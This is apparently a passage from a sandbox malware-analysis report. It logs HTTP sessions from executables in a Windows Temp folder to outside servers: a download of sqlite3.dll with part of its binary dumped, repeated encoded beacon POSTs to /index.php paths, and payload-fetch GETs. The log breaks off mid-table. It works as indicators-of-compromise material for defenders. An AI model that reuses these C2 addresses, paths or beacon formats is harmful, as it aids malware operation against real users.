Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:51.980361938 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 17:18:53.316225052 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 23, 2024 17:18:53.316313028 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 23, 2024 17:18:53.316324949 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 23, 2024 17:18:53.316374063 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Dec 23, 2024 17:18:53.316438913 CET	1236	IN	Data Raw: b8 03 00 00 00 0f 45 c2 83 c4 34 5b 5e 5f 5d c3 55 31 c9 89 e5 57 56 53 83 ec 0c 89 45 e8 89 55 ec 31 c0 31 d2 8b 5d e8 8a 1c 0b 0f b6 fb f6 87 e0 a1 ec 61 04 74 3a be 0a 00 00 00 6b fa 0a f7 e6 01 fa 83 c0 d0 83 d2 ff 89 c6 0f be c3 89 d7 99 01 Data Ascii: E4[^_]U1WVSEU11]at:krwvE1AutM[^_]UWVSxZlHxBLpuB
Dec 23, 2024 17:18:53.316451073 CET	1236	IN	Data Raw: c9 c3 55 89 e5 83 ec 18 8b 45 0c 89 04 24 ff 15 84 61 eb 61 50 c9 c3 55 89 e5 57 56 53 53 31 f6 8b 58 08 89 4d f0 3b 75 f0 7d 1a 8d 7b 01 03 18 8a 0c 32 30 0b b9 00 00 00 00 3b 78 04 0f 4d f9 46 89 fb eb e1 8b 55 f0 01 50 0c 89 58 08 58 5b 5e 5f Data Ascii: UE$aaPUWVSS1XM;u}{20;xMFUPXX[^_]US1E$$,baPEMD$'D$1$T$rM]1Q1U8ED$E$umU]E5aUWVSEu}
Dec 23, 2024 17:18:53.316462040 CET	1236	IN	Data Raw: 55 ff 4a 0c 8d 51 ff 89 e5 66 85 d2 66 89 50 1e 75 17 f6 40 1c 01 74 06 5d e9 58 ff ff ff 5d ba 03 00 00 00 e9 d4 fe ff ff 5d c3 55 89 e5 53 89 c3 83 ec 14 f6 40 1c 02 74 0a ba 01 00 00 00 e8 b9 fe ff ff 8b 43 0c 8b 13 ff 48 0c c7 44 24 08 01 00 Data Ascii: UJQffPu@t]X]]US@tCHD$T$@,$fa[]HUt"ufP]fPf]USQS@f{fCuZ[]X[]US$ET$PT$T$PR,$
Dec 23, 2024 17:18:53.316612005 CET	1236	IN	Data Raw: 00 89 47 10 8b 47 18 89 bb 90 00 00 00 8d 48 ff 89 c8 f7 a3 a8 00 00 00 0f af f1 89 d1 89 c2 8b 43 40 8b 5f 04 01 f1 89 1c 24 e8 fb ea ff ff 83 c4 1c 5b 5e 5f 5d c3 e9 e9 fa ff ff 55 85 c0 89 e5 74 03 5d eb 95 5d c3 55 31 d2 80 78 0d 00 89 e5 75 Data Ascii: GGHC@_$[^_]Ut]]U1xu xu@@18~1x4]UWVSS4]ut3[11tB9Uw\%B%
Dec 23, 2024 17:18:53.316623926 CET	1236	IN	Data Raw: d2 89 c6 78 08 8b 45 ec 83 c0 05 eb 86 0f a4 c3 07 89 c1 8b 45 ec c1 e1 07 89 df 83 c0 06 89 45 e8 8b 45 ec 8a 50 06 89 d0 83 e0 7f 09 c8 84 d2 89 c6 79 73 89 fb 89 c1 0f a4 c3 07 8b 45 ec c1 e1 07 89 df 8a 50 07 89 d0 83 e0 7f 09 c8 84 d2 89 c6 Data Ascii: xEEEEPysEPxE4EEEPy!EEE@EUx}B0PxE@9w(+U}UfBEfPfx[^_]M
Dec 23, 2024 17:18:53.316636086 CET	1236	IN	Data Raw: d9 05 b0 a8 ec 61 d9 c9 83 c8 ff ba ff ff ff 7f db e9 dd d9 73 23 d9 7d fe 66 8b 45 fe 80 cc 0c 66 89 45 fc d9 6d fc df 7d f0 d9 6d fe 8b 45 f0 8b 55 f4 eb 06 dd d8 eb 02 dd d8 c9 c3 55 89 c2 89 e5 83 ec 18 0f b6 52 12 8b 48 0c 8b 40 08 c7 45 f8 Data Ascii: as#}fEfEm}mEUURH@EE$UoEUUWVS$$]^EUmEz,u*rwCSf%@fC$[^_]UHtPt@;Px1
Dec 23, 2024 17:18:53.435798883 CET	1236	IN	Data Raw: 74 0c 31 c0 80 ba 95 00 00 00 02 0f 94 c0 5d c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 75 0c 8b 43 0c 89 04 24 e8 e6 dd ff ff 85 f6 75 05 8b 73 04 eb 03 8b 76 08 8b 43 0c 89 04 24 e8 f7 dd ff ff 83 c4 10 89 f0 5b 5e 5d c3 55 31 c0 89 e5 8b 55 08 85 Data Ascii: t1]UVS]uC$usvC$[^]U1Ut]U1Utzt]UWVSUMLEEUMD$CD$L$<$D$FD$W MU2FVt^CSEt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.9	49885	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:52.555172920 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:53.883471012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.9	49886	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:52.821183920 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:54.203788042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.9	49887	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:52.880528927 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:54.229228020 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:53 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.9	49888	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:54.512166023 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:55.846611023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.9	49890	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:55.304620028 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:56.644953966 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.9	49891	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:55.644418001 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:56.924773932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.9	49892	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:56.161623955 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:57.453408957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.9	49893	185.156.73.23	80	4988	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:56.234793901 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:57.821609974 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 23, 2024 17:18:57.901926994 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.9	49894	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:57.535346031 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:58.029225111 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.9	49895	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:58.277399063 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:59.550971985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.9	49905	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:59.569670916 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:19:00.895502090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.9	49906	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:59.745285988 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:19:01.033236980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.9	49908	185.156.73.23	80	4988	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:00.558960915 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:19:01.589874029 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.9	49909	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:00.576251984 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:19:01.734954119 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.9	49910	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:01.297019958 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:19:02.658281088 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.9	49912	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:01.481116056 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:19:02.817986965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.9	49918	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:19:02.683651924 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:19:04.018934011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.9	49919	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
